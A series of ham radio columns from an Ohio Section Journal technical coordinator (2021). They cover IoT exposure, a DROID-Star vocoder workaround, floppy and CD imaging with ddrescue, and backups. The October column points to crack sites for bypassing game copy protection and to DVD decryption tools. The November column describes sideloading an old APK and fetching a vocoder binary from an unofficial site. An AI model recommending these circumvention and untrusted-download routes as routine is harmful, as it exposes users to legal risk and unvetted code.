I especially recommend not port forwarding from the public Internet due to reasons such as the ease of exploiting Log4Shell or any other trivially exploitable vulnerability yet to be discovered. Devices like video cameras or other IoT that require access by a few individuals should be setup with a tunnel using a private link VPN. Router and SD-WAN (software defined networking) technologies such as OpenWRT, DD-WRT, Tomato, pfSense, OPNsense, Zerotier, a Pi, or any other number of technologies that can establish a secure point-to-point tunnel eliminates exposure of devices to the Internet. Plenty of tutorials exist showing how to setup OpenVPN or Wireguard on consumer-based routing devices. There is absolutely no need to have random IoT devices on the Internet open to exploitation.

To make matters worse, I have found ham radio devices such as OpenSpots and Pi-Stars on the Internet – some with default passwords. DO NOT DO THIS (either)! These devices are setup with direct access from the Internet. Why? Users think it’s convenient. Convenience is the enemy of security. Some probably were setup with temporarily access from the Internet and never had that removed.

It is mostly unrealistic to host a web or other service for hundreds or thousands of users, requiring each to configure a VPN. A Pi-Star or AllStar node setup for club members to control would be an example. Devices hosting such services should be isolated in a proper DMZ, updated frequently, use encryption and strong passwords. For plenty of security tips and tricks, check out my October 2020 article.

Received at the K8JTK shack during the June 2021 ISS SSTV event

If you’re reading this before the end-of-the-year, there is still time to participate in the ARISS SSTV event. The International Space Station will be sending Slow Scan TV images starting Dec 26 about 18:25 UTC and ending Dec 31 about 17:05 UTC. These times are, of course, planned and subject to change based on crew schedules and availability. These events generate a lot of buzz and interest in SSTV and ham radio in general. If you don’t have a satellite tracking station, using an outdoor omni-directional antenna, an HT with 1/4 wave whip, or even better a hand-held directional (like ones used for foxhunting) will work for receiving signals.

All you need is a receiver tuned to 145.800 MHz FM, software to decode signals such as: MMSSTV on a PC (I also have getting started instructions), DroidSSTV for Android or SSTV for iOS. Satellite tracking programs such as: Gpredict or Nova on the PC, AmastDroid, or websites like N2YO and AstroViewer track the position and offer predictions of upcoming passes. When the ISS is nearly over head, start receiving images! The ARISS link above has information on uploading images for a QSL or for an award.

Thanks for reading. Happy New Year! 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – November 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Users of the DROID-Star application ran into a problem with an update earlier this month. After upgrading, then trying to connect to a DMR, D-STAR, NXDN, or System Fusion network, users were greeted with a “no vocoder found” message.

DROID-Star is known to users of digital modes. Namely used by Android or iOS users, it connects the user to ham radio digital networks. Later AllStar support was added through IAX, not using the AllStar Link network rather through the Inter-Asterisk eXchange protocol. AllStar is built on Asterisk and IAX requires separate accounts for access. DROID-Star supports MMDVM in hotspot or standalone transceiver configurations. MMDVM is written by G4KLX and the standard for ham radio digital linking via hotspots, interface boards, and applications.

Modes that can no longer be used out-of-the-box, after the November update, are all of the AMBE modes. AMBE is the voice encoder used in DMR, D-STAR, NXDN, and YSF. The no vocoder found message is seen when connecting to any of these modes. Unaffected modes are IAX, M17, and P25. IAX uses codes available to Asterisk. M17 uses the free and open source Codec 2. P25 (phase I, as used in ham radio) uses the IMBE codec. All three of those modes can be used without additional configuration.

First thought, there was a licensing issue or dispute. I found a forum post where the Pi-Star author recommended keeping packages separate in DROID-Star making them easier to maintain and packages can be built without including unnecessary extras. I believe this to be the reason the packaged codec in DROID-Star was removed.

No vocoder found. No hardware or software vocoder found for this mode. You can still connect, but you will not RX or TX any audio. See the project website (url on the About tab) for info on loading a sw vocoder, or use a USB AMBE dongle (and an OTG adapter on Android Devices)

As the message indicates, the user can connect to a reflector or talkgroup, but no audio will be heard. That’s about as useless as a glass hammer. I guess you can connect to make your presence known, but transmissions and reception is done through ESP? First thing I did was to visit the project URL to obtain information about finding a vocoder as suggested.

I have no information regarding aquiring a software vocoder.
There are no software vocoder plugins available in this repository, and I have no information on obtaining one. DONT ASK!

Super helpful. It does say there is an option of using a DV3000 and OTG cable. If you haven’t seen a DV3000, it’s about the size of a USB thumb drive. Do DROID-Star users need to have a hardware dongle hanging off their phones to make digital connections? Maybe. I was planning to test this method but realized I switched to a phone with USB-C connector and the OTG cables I had for previous devices were Micro USB. Make sure to obtain the correct cable for your phone or tablet.

USB OTG stands for On-The-Go. By default, phones/tables act as a peripheral. For example, plugging into a PC allows access to the phone’s storage. In order to set the phone in host mode, allowing it to accept input from other devices, a special cable containing an extra pin is required. This cable with an extra pin informs the device to enter host mode. OTG cables are readily available from a favorite online store or local computer shop. Search for ‘Micro USB OTG cable’ or ‘USB-C OTG cable’ depending on the device’s connector type. Description should make reference to being an ‘adapter for smartphone.’

Not seeing any other solutions early on, I rolled back the application to an earlier version. This is not for the faint of heart nor for someone worried about installing unofficial versions of applications, called “sideloading.” Not responsible for any damage or legal issues. This is for informational purposes only. Updates to the operating system may keep this app from working properly in the future. Any app updates/enhancements/features/bug fixes to DROID-Star will not be available without using a later version and running a vocoder. Downgrading is not possible through the Play Store. I downloaded DroidStar 1.0 (58) from the APKPure website. Hashes and additional info available on this page. I had to remove the newer DROID-Star version (which removes settings) from my phone and install the downloaded version manually. There is a “How to install APK / XAPK file” on the download link. It will explain sideloading an app and required settings to change.

After doing more digging, I was able to find a more appropriate and supported solution. The instructions to load the plugin on the project page are wrong. Saving to the Download directory did not work. To install the vocoder on an Android device:

1. Install the latest version of DROID-Star (Play Store, 3rd party store, official APK).
2. In the browser of the mobile device, visit this website: http://pizzanbeer.net/plugins/

3. Press and hold the filename for your device (arm, arm64). If you’re not sure which one to use, in DROID-Star hit About and look for Architecture.

4. Tap Copy link from the popup

5. In DroidStar, go to Settings
6. Scroll to the bottom (now located just above the MMDVM and level settings in later versions) and paste the URL in the Vocoder URL field (tap the Vocoder URL box. When the cursor is displayed, press and hold the same field. Click Paste).
7. Tap Download vocoder

8. A message saying “Updating, Check log tab for details” is displayed. Tap OK.

9. The Log tab should display “Downloaded vocoder_plugin.android.arch.”

You’re ready to go! If this is not seen, there was an error or the download couldn’t complete. Though these instructions are for Android, they are nearly the same for iPhones and iOS devices, except choose the “darwin” platform file instead of arm/64.

These steps might have to be repeated often. The release I used as of this writing (Nov 24) DROID-Star did not retain the vocoder settings. Now, I could have corrupted a database or borked permissions during testing and re-installing previous versions on my phone. Apparently other users are experiencing the same issue. Doug – AD8DP, the author of DROID-Star, seemingly doesn’t want to be bothered with issues. His repositories state the applications are offered “as is.” There is no E-mail on his QRZ and the GitHub repository has the “Issues” tab disabled. Normally, the issues option is used to report bugs with GitHub projects for developers or other community members address.

Other links about AMBE and contributing to the projects:

W9OB meeting. Photo courtesy of Dave – KB9VZU

Although not in our section, I do know they read our OSJ, quick shout out to the Henry County Amateur Radio Club in New Castle, IN – W9OB. I gave a presentation on AllStar Link and linking with digital modes. Been awhile since I’ve done a meeting over the air. Presentation was done using their local repeater via my local AllStar node. If your club would like a presentation on digital and VoIP modes or how my DVMIS works, get in contact with me.

Time off of work or wanting a break from the madness is a great time to get on the air and work special event stations. Some nets will even get children, grandchildren, and neighborhood kiddos in touch with Santa! The Santa Net is held every evening between Thanksgiving and Christmas on 3.916 MHz at 8:15PM eastern time. If HF is not available, the DoDropIn Echolink conference is hosting the Santa Watch Net on Christmas Eve! It begins at 6:00PM eastern on the 24th and runs about 4 hours. Third party traffic is always on the nice list.

On the ARRL Special Event Station calendar, W9WWI is hosting Christmas in Bethlehem on Dec 4. KC5OUR is hosting Bethlehem on the Air, Dec 18-24. N0T, N0R, N0A, N0I, and N0N make up the Christmas Train crew to Celebrate Christmas Time and Holiday Cheer through Ham Radio, Dec 23-26.

Let us not forget, the attacks on Perl Harbor that happened Dec 7, 1941. A number of stations including W2W, W9CAP, NE1PL, N7C, N7D, and N7N will be on the air to commemorate 80 years and the men and women who served.

Thanks for reading. Happy holidays, Merry Christmas, and Happy New Year! 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – October 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Last couple times, I’ve been talking about my journey to preserve legacy media. First talked about different media formats and last month described how to create and use floppy disk images. This month is about optical discs, copy protection and storing images for preservation.

Optical disc images

Unlike floppy images, creating and mounting optical disc images was a hole other ball game. CDs have a variety of structures: data only (Digital Data), audio only (Digital Audio), CD-TEXT (artist and song details for Digital Audio), mixed mode (data on track 1, audio on tracks 2 – n), Enhanced CD (audio for audio players, data and multimedia for computers), and multi-session (data added or modified over subsequent writes to the disc). There are other standards such as MP3 CD, video CD, super video CD – those are all data tracks. DVD and Blu-ray are also data tracks.

Creating optical disc images

To meet my goal of having a raw data dump of optical media, Linux had the hardest time creating images. cdrao (CD recorder disc-at-once) can process different disc structures but the output files were not in a format most tools understand. Popular K3B disc writing program cannot make images of audio or mixed mode discs. dd won’t work either because it uses file structures (FAT, NTFS, Ext, CDFS, UDF). CD-audio is audio bits containing no file structure. Single track, digital data only discs were fine for Linux tools. Mixed mode and audio discs were a no-go.

On Windows, my long-time favorite, ImgBurn (freeware) made it all happen using the “Create image file from disc” option. Though not updated in some time, it still works well and the developer answers questions in the forum. It handled everything I threw at it. It defaults to ISO. If the disc doesn’t meet ISO9660 specifications, it creates the more flexible BIN & CUE formats. BIN file is binary data from the disc. CUE, for cue sheet, it a plain text file containing details about the tracks in the BIN file. This paring would be for CD-TEXT, multi-session, mixed mode, and Enhanced CD discs. UltraISO (trialware) created these images too and could output to different formats: ISO, Bin/Cue, Nero, Compressed, Alcohol, and CloneCD.

Copy protected discs

Then things went downhill quickly. One exception to “everything I threw at it” was copy protected discs. Copy protected discs aims to confuse the drive’s read system. A full read of a copy protected disc will fail. However, when activated, the protection software knows what to expect based on how it instructs the drive to read the disc. Many of these schemes are explained in this article. Other copy protection schemes install malware, called RootKits, that hides activities making detection and removal of the malware nearly impossible. Sony/BMG Music got caught installing RootKits in 2005. A user simply inserting the audio disc into their PC would unknowingly infect their system. As it turned out, companies were more concerned about their intellectual property and less about making software that didn’t have vulnerabilities. In the end, copy protection only hurts those who follow the rules.

I had one of those Sony/BMG discs. When I realized what they were doing, it was promptly returned. When referring to copy protected discs, I’m referring to a handful of unreadable game discs I have. Programs out there like Alcohol 120% (paid version) make perfect 1-to-1 copies, emulating copy protection schemes. It has been 15 years or more since I used those features but it worked great back then.

Failures creating working images using Alcohol 120% and CloneCD (trialware), which still tout making perfect 1-to-1 disc copies, I though was an issue with the application. After digging at the problem, I learned it’s probably not the fault of the application at all. First, I would identify discs with copy protection as ones ImgBurn showed had read errors. Next, make a new image of the disc using a 1-to-1 copy program. Then validate the image by installing the game on my Windows 7 64-bit operating system I was using to preserve legacy media. Finally, seeing if the game would run successfully. None of those games would launch. I spent waaaayyy too much time working under the presumption the problem was creating a good image. In reality, none (I mean NONE) of the copy protected games would run using their original discs. Imagine that, copy protection that doesn’t work.

ImgBurn creating a disc image of a CD-TEXT audio CD

Reasons copy protection wouldn’t validate successfully could be any of: a newer OS. These games are from the Windows 98/2000/XP era and cannot run on Windows 7. Running a 64-bit operating system when the copy protection drivers were written for 16 or 32-bit OSes. Could also be proactive blocking of the driver by Windows or Microsoft Security Essentials. With that information, though, I cannot say if those images created do or do not work. I would have to go down the road of getting an older operating system up-and-running. Could fire-up a Virtual Machine as well. I’ll pursue that later. Reading up on making images of copy protected discs, a disc drive that can read raw data is needed. While most noted drives state they read raw data, they really cannot. I couldn’t find a list of known working CD/DVD drives.

Avenues I looked into are sites that have cracks to bypass the copy protection validation schemes such as GameBurnWorld or GameCopyWorld. Not responsible for any damage or legal issues. This is for informational purposes only. Some cracks that I tried were for 16-bit OSes which is just not supported in a 64-bit OS. While I’m sure most of these games are available on a modern platform like Steam, I’m not feeling charitable enough to hand over more money to them seeing as they got it wrong the first time. Microsoft thinks Windows Compatibility Mode will fix all the problems. I think it only works on 32-bit versions of Windows. Most PCs are 64-bit, and 32-bit OS support is being dropped. I’ve never gotten any 16-bit Windows program to work in compatibility mode on a 64-bit OS.

Need to make copies of protected DVD or Blu-rays? See the products list at the CloneCD link above. Not responsible for any damage or legal issues. This is for informational purposes only. Unlike the game copy protection schemes which require software or a driver on the PC, DVD and Blu-ray store encryption keys on the disc which makes it fairly easy for programs like AnyDVD or DVDFab to read disc level encryption.

Mounting and using optical disc images

Things didn’t get much better when mounting disc images using virtual drives. Much like floppy disk mounting programs, I wanted something to emulate a CD drive on the host operating system. All programs I tried mounted ISO images to the operating system: Virtual CloneDrive (freeware), ImDisk (open source), Alcohol 120% (free edition), Daemon-Tools Lite (though installer is very bloated with crapware and maybe DNSBL on PiHole), UltraISO, and WinCDEmu (open source). Few of those programs mounted BIN & CUE correctly and even fewer handled multi-session images. Not all virtual drives are created equal. It may take some time to find a program or combination that works. In Linux, ISOs could be mounted using the “Disk Image Mounter” in the desktop GUI or using the command line (see part 2 in this series). Mounting BIN & CUE files in Linux required CDemu (open source).

Audio BIN & CUE files could only be mounted using Alcohol 120%, Daemon-Tools, and CDemu. An audio player like VLC (open source) would be used to play audio tracks. Foobar2000 (freeware) can play BIN & CUE files directly (without mounting). Enhanced CD and multi-session CD data tracks could not be accessed when mounted through any of the virtual drive applications I tried. Once the virtual drive hits the first lead-out in the image, that’s it. This affects images where data tracks follow audio tracks and multiple session images containing more than a single data track. I was never a fan of creating multi-session discs but I did have discs from friends that were.

Disc read errors. An indication of a copy protected disc.

UltraISO can access those data tracks from multi-session images and extract files. Maybe easier to copy the files from the disc to a folder instead of making an image for simplicity. There were two ISO editors listed for Linux, neither listed BIN & CUE file support. For completeness, all disc and structure data are still stored in the BIN image file and described in the cue sheet. It is a shortcoming of these virtual drive applications to not provide access to all data contained within the image. I have no idea why. Taking the same image and re-writing (burning) it to a blank disc would result in a complete copy of all sessions and data.

If possible, through the mounting software, mount the image READ ONLY! (see reasons in earlier parts). In addition, many virtualization and hypervisors such as DOS-box, VirtualBox, and vSphere can mount images naively to a guest operating system. Wikipedia has a comparison of disc image software applications for other suggestions.

Storing images

Lastly on this charade, storing these image files so they may live on forever! CD and DVD images are going to take up more disk space because the media can hold more data. Organize all images into a folder structure that makes sense: games, types of games, graphics, amateur radio, audio/video programs, operating systems, utilities, etc. I decided to store these images on my Network Attached Storage (NAS) with copies both off-line and off-site. The NAS file share is set for read-only to protect unintentional modification or deletion of the images or its contents.

Hard drives, until the beginning of this year, were relatively inexpensive. A 4-terabyte drive can still be purchased for around $100. Higher-capacity drives have been met with shortages and prices to reflect their supply. 4 TB is ALOT of storage. Use a new dedicated drive for storage, keep them on a local hard drive, or use an external hard drive. Make copies onto separate hard drives, USB thumb drives, or in “cloud” storage.

Plan a backup strategy sooner than later. The following is true for ANY data: data does not exist if it is not in two separate places. I argue three copies of data or it doesn’t exist (see #5 under “What can I do to protect myself?”): 3 copies of your data, 2 of them on different media (spinning hard-drive, sold-state SSD, thumb drive, optical, in the cloud, etc.), 1 must be off-site (at work, at a friend’s, storage locker – preferably temperature controlled/waterproof, safety deposit, with a relative, in the cloud).

Going more technical and into file system technology, use a file system that hashes files such as Btrfs or ZFS. Then scrub the data every couple-to 6 months. This keeps data in-check and detects errors in storage indicating media degradation or imminent failure. Linux has these features as do many NAS devices. Hashing protection and original floppies themselves are not additional copies. Hashing isn’t going to save data from a disaster (wind, power, tornado, fire, flood, physical destruction, theft, …). Original floppies do not count as a copy because this technology is dated, degrading, and getting harder to recover, a.k.a. legacy.

Recovery & file conversions

Half-Life Opposing Force copy protection disc authentication failure on original media

If you really, really, really want data back and are unable to recover it yourself, there are data recovery services. One ham said a person he knew used Gillware. A channel on YouTube I follow gave a recommendation to WeRecoverData. I did not use, research, or vet any of these companies so some due diligence is required before some phony-baloney service makes off with precious data. Gillware is a Micro-Center partner and WeRecoverData has a large number of companies that have used their services. Take that for what it’s worth.

Going back to my data that I “really, really, really” wanted to save from unreadable floppies. It turns out, I apparently told my younger self: self, you should make copies of these floppies onto other media or you may not have that data in the future. I copied all those important floppies, that are now unreadable, and burned them to CD. See, had two copies of data! I found those copies on a CD spindle of burned discs. Probably had read issues back then and saw the writing on the wall about floppies somewhere in the early 2000’s, near as I can tell. Writable CDs were reasonably priced about that time as well, $0.20, $0.30, $0.50, maybe as much as $1/each. I definitely didn’t know I could make an image of a floppy back then because the CD was drag-and-drop copies of the data. Better than not having it. Saved myself a lot of agony – although it doesn’t make as good of a story…

I didn’t touch on file conversions as the goal was to preserve data and I didn’t need to convert file formats. This may be needed in cases where proprietary programs were used and those companies no longer exist. The data can be read from the media but the file itself cannot be opened by any modern program. A copy of the original program used to create the file is best as there is likely some way to get that program running again. If it was an early version of a program that still exists, they may have changed data formats along the way and the earlier format is no longer readable by a modern version of the same program. Possibly filters or converters can be downloaded and installed.

Searching the Internet for the program originally used to create the file may lead to threads and worm-holes. Using an example of a very old word processing file, a similar-type program may be able to open the file such as Microsoft Office Word, Corel WordPerfect, LibreOffice Writer or legacy versions of old office suites like StarOffice or OpenOffice may improve chances. The more proprietary and obscure the program and format of the file, the harder it will be to find a program to read or convert the file, whereas open source programs and formats are likely to still be around 20 years later. I found enthusiasts will write free/open source programs to convert random obscure formats on GitHub.

Now that I’m done getting data off 3.5″ floppies, they’ll get destroyed for security reasons and donated to the circular file. I don’t see a reason to hang on to them seeing how many had read errors and now I have good copies of everything I want. I’m starting to see the same writing on the wall too with CD-R/DVD-R discs. A couple gave me read errors. Using another drive read the discs just fine. Still hanging on to those CD/DVD discs, until I get tired of looking at them.

While making disc images, I saw a name that sounded familiar: CMC Magnetics. Where have I heard that name before? If you were serious into your writable media mid-to-late 2000’s, a quick Internet search recalled memories of CMC being some of the cheapest & crappiest writable CD-R and DVD-R media available. Quality was not consistent, even between different spindles of the same brand. Verbatim was considered the gold standard for writable media. Even they got out of the market, selling off manufacturing to CMC. I think it’s the right time to get those important CDs and DVD-Rs imaged as well due to media quality concerns 😀

Epilogue:

I had one MacOS formatted floppy disk from grade school containing games that appears to use the HFS file system. Not much has gotten me anywhere near being able to play the games on that disk. I came across information for those needing to recover legacy Macintosh disks that’s worth passing along. Back in the early days, Apple developed a proprietary floppy disk technology to get more data on a standard 3.5″ floppy disk. Granted, everyone was trying to do their own proprietary formats to lock consumers into their technology and securing income for their company. Like proprietary technologies before and after it, users get shafted. The specific drives used to write those disks are the only ones that can read those floppy disks. Adding insult-to-injury, all recent MacOS versions have dropped support for those formats leaving users to find a branded drive with an appropriate legacy MacOS version should they want data off those disks. Not to mention, how will they get that data to a new system? A number of sources point to this website which has a lot of information to help MacOS users get their data recovered. Guess I’ll keep hoping to pick up an LC III or a LC 5xx from my early memories of MacOS.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – September 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

Last time, I talked about a project I am working on to save data from legacy media: floppy disks, ZIP disks, and even optical media. This month I’ll cover programs and methods for creating floppy images and how to access data in image files.

Creating floppy disk images

I needed a program to create IMG files of these floppy disks. WRITE PROTECT disks before inserting into the drive to prevent accidental overwriting of the source disk! In Windows, I couldn’t find a decent program to make floppy images that wasn’t free. My usual go-tos failed me. Ones that did work as expected were WinImage (shareware, 30-day trial) and UltraISO (trialware). UltraISO is for creating, modifying, and saving CD/DVD images but has the ability to create floppy disk images too. Though, for some reason it doesn’t mount those images to the host operating system. dd for Windows is an alternative creator. dd is a well-known Linux conversion and copying program. If those don’t meet your needs, have a look at the Wikipedia article on disk image applications for a list of alternative options.

In general, on Windows, insert the floppy. Start the program. Select Make Floppy Image or Read Floppy. Then save the image file to the hard drive.

In Linux, making a floppy image can be completed with native tools. At the command line:

sudo dd if=/dev/fd0 of=/home/username/name_of_floppy.img
  • Failed to read from floppy using dd. dd will fail when it is unable to read a sector on the disk.

    if: “in file” or device to read data. /dev/fd0 is the common name in Linux for the first floppy disk drive

  • of: “out file” or device to write data

A better option to dd is ddrescue. That program is designed for data recovery, not only for floppies but CD-ROM and other media too. It will identify read errors and automatically re-read bad sectors hoping for one more successful read. Install through the Linux distro package manager. I had plenty of disks with read errors. Many were “oh, no – not that disk!” followed by moments of praying because I really, really, really wanted that data back. Some read errors were soft and easily recoverable. Others required manual intervention. My standard command line (one line):

sudo ddrescue -d -f -r5 /dev/fd0 /home/username/name_of_floppy.img /home/username/name_of_floppy.log
  • -d: direct access to the input file or device
  • -f: forces writing to the output file (if you locked the file somehow and ddrescue couldn’t write to the image file)
  • -rX: number of times to retry (X) reading bad sectors. I would set this value low initially, follow the methods below, and change to something like 150.
  • /dev/fd0: device to read (floppy drive)
  • /home/username/name_of_floppy.img: name and location of the output image file
  • /home/username/name_of_floppy.log: name and location of the output log file. This log is used to track sectors that could not be read, even across multiple runs of ddrescue.
ddrescue in progress

Once the initial run-through is completed with a couple attempts at re-reading bad sectors, the program can be terminated to blow debris off the magnetic medium or completely change out the disk drive. Re-run ddrescue with the exact same command and the program will continue retrying unreadable sectors of the same disk. Changing variables including giving things a rest for a few days will increase the chances of a successful read. One the disk is successfully read the log file is no longer needed.

My solutions for removing debris: bang the floppy physically to dislodge dust or other dirt. Blow across the magnetic medium while rotating to help do the same being careful not to introduce moisture, which would cause more harm. I saw this referred to as the “shake & blow” method. That got me through a good number of iffy disks. Trying another disk drive resolved even more errors. Some disks could not be completely read or there were so many read errors making the chances of total recovery slim to none. A number of excellent suggestions are available on this site dealing with copy protection, disk errors, and drive errors.

When ddrescue is unable to completely read the entire disk, try straight drag-and-drop copying of files to the hard drive. Entirely possible ddrescue is spending time on sectors that don’t contain usable data. Should that not work, let ddrescue do its thing as much as it can, mount the image, then try copying the files from the mounted image. ddrescue may not be able to recover the disk in its entirety but data it was able to read might be usable. I’m still praying for those disks that I considered important.

I didn’t find an exact equivalent to ddrescue for Windows. Searching online indicated a program like BadCopy Pro (trial) or TestDisk (free, open source) might be able to recover disk data at the file level, not at the sector level for the image. I’ve used TestDisk and derivative programs previously but did not test these programs for floppy data recovery.

Mounting and using floppy disk images

Pheew, making floppy images is done and the disks that were able to be read are preserved. Now, how to use these image files? They can be mounted to the operating system acting like another floppy or removable media disk drive. If so desired, the image contents can be modified. I do not recommend nor wanted any modifications to the image file once completed. If possible, through the mounting software, mount the image READ ONLY! Installers often write parameters or logs to the original media. The goal is to leave the img file completely intact as it was read form the original source disk. I didn’t want to risk having images modified from disks that took a long time to recover in ddrescue.

Mounting floppy image in ImDisk

If modifications are needed, make a copy of the image file and mount the copy for writing. If not available through the mounting software, or as an additional layer of protection, I made a file share on my NAS (network attached storage) that is marked read-only in the NAS configuration. After placing image files in that file share, setting the read-only property does not allow any write capability to that file share.

ImDisk (free, open source) worked well for mounting. It allows the device type to be changed or read-only options set to prevent modification. Selecting device type: floppy, check removable media, and check read-only are settings that worked best. In Fedora, I could use the “Disk Image Mounter” in the desktop, or at the command line (one line):

sudo mount -o ro /home/username/name_of_floppy.img /home/username/folder/to_mount_image
  • -o ro: sets the read-only flag
  • -t vfat/iso9660: maybe needed if mount cannot determine the image file system type

Many virtualization and hypervisors such as DOS-box, VirtualBox, and vSphere can mount images naively to a guest operating system.

Next time, CD/DVD disc images, storing images, and finally, the conclusion. Optical media images are harder to create, work with, and copy protection: the bane of my existence.

If you are a new ham or looking to improve your station and you weren’t able to attend Technical Specialist Jason – N8EI’s presentation “Beyond the Baofeng: Thoughts on Equipment Choices for New Hams,” you missed a great opportunity. It was a well throughout presentation and he made some great points. In attendance were a couple non-hams that wanted to become licensed. They were there trying to figure things out and he provided helpful information. The session was recorded and will be posted online at some point. I’m sure that will be announced when it is available. Don’t forget, Technical Specialists are available for presentations at club meetings or hamfests. If your club is looking to fill a program slot, reach out to Jason for his presentation or myself for ideas.

Speaking of hamfests, I made it to two more over the past month: Findlay Hamfest and the Cleveland Hamfest and Computer Show. At Findlay, I felt it was well attended. Not the numbers they’ve seen in the past, likely due to the on-going state of the world, but I was pleasantly surprised. I spent some money on connectors, couple gadgets, and found another power supply for my universal battery charger. Since it’s not available anymore, I wanted a backup incase the current one stops working. Could have spent a lot more money as I’m starting to look at smaller formfactor PCs – and they had a couple. Definitely saw a number of the disk drives I talked about in last month’s article. Good place to find them if you need ’em, just sayin’! Attendance seemed good, considering, at Cleveland too. That one is more of a social event for me as it’s my home turf and I run into a lot of hams I haven’t seen in some time. I also attended the presentation on one of my favorite linking modes, AllStar. All-in-all, two strong hamfests I recommend attending next year.

Thanks for reading and 73… de Jeff – K8JTK

Ohio Section Journal – The Technical Coordinator – August 2021 edition

One of the responsibilities of the Technical Coordinator in the Ohio Section is to submit something for the Section Journal. The Section Journal covers Amateur Radio related things happening in and around the ARRL Ohio Section. It is published by the Section Manager Tom – WB8LCD and articles are submitted by cabinet members.

Once my article is published in the Journal, I will also make it available on my site with a link to the published edition.

You can receive the Journal and other Ohio Section news by joining the mailing list Tom has setup. You do not need to be a member of the ARRL, Ohio Section, or even a ham to join the mailing list. Please sign up!

If you are an ARRL member and reside in the Ohio Section, update your mailing preferences to receive Ohio Section news in your inbox. Those residing outside the section will need to use the mailing list link above.
Updating your ARRL profile will deliver news from the section where you reside (if the leadership chooses to use this method).
Go to www.arrl.org and logon.
Click Edit your Profile.
You will be taken to the Edit Your Profile page. On the first tab Edit Info, verify your Email address is correct.
Click the Edit Email Subscriptions tab.
Check the News and information from your Division Director and Section Manager box.
Click Save.

Now without further ado…


Read the full edition at:

THE TECHNICAL COORDINATOR
Jeff Kopcak – TC
k8jtk@arrl.net

DSCF5081 K8JTKHey gang,

PSA: make copies of old computing media now before that data is lost for good. Those of us that are old enough to know or remember what floppy disks are – and no, it’s not the 3D printed version of the save icon! This is my adventure in preserving legacy media.

Floppy disks, simply “floppy” or “disk”, was a data device based on usage of a flexible magnetic storage medium. Systems dating back to the Commodore utilized floppies and other formats such as cassette tapes. PCs first used 8-inch floppy disks, then 5 1/4 or “five-and-a-quarter-inch disk,” finally 3 1/2 or “three-and-a-half-inch disk.” Most who are my age remember the 3.5″ floppy because it was a very common storage medium for transporting research, papers, and data between home and school. Never had any 8″ floppies. I’ve been around computers longer than most my age and have a couple 5.25″ disks.

Later in high school and college (through about 2005), advances in storage technologies allowed for lager capacities at roughly the same size. The Zip disk was still considered a floppy but had rigid housing to protect the medium at about the same size as a 3.5″ floppy, though twice as think. Zip disks could store 100 MB versus the 1.44 MB of the 3.5″ floppy. Writable CDs became affordable as anyone could now “burn” an optical disk with a storage capacity of 650-700 MB. DVDs for videos and large capacity 4.7 GB storage were standard mid-to-late 2000’s. Those have since been superseded by multi-gigabyte USB solid-state and “cloud storage.”

If you’re like me and hung on to those floppies because they still have old games, maybe using them for document or picture storage – for some reason, or old programs you would like to use again. I started this project as I was sorting through old computer equipment and it was probably past time to preserve the data. That is, if they could still be read. Since I was going through this work of preserving data on floppies, I decided it was probably time to save CD-ROMs and DVD-ROMs as well. In theory, medium, especially optical, should last a good long while. However, all medium will degrade over time. It’s also a factor of how the disks were stored, the quality of the drive that wrote the disk, cleanness of the head, quality of the diskette, reading drive aligns with written tracks, to name a few.

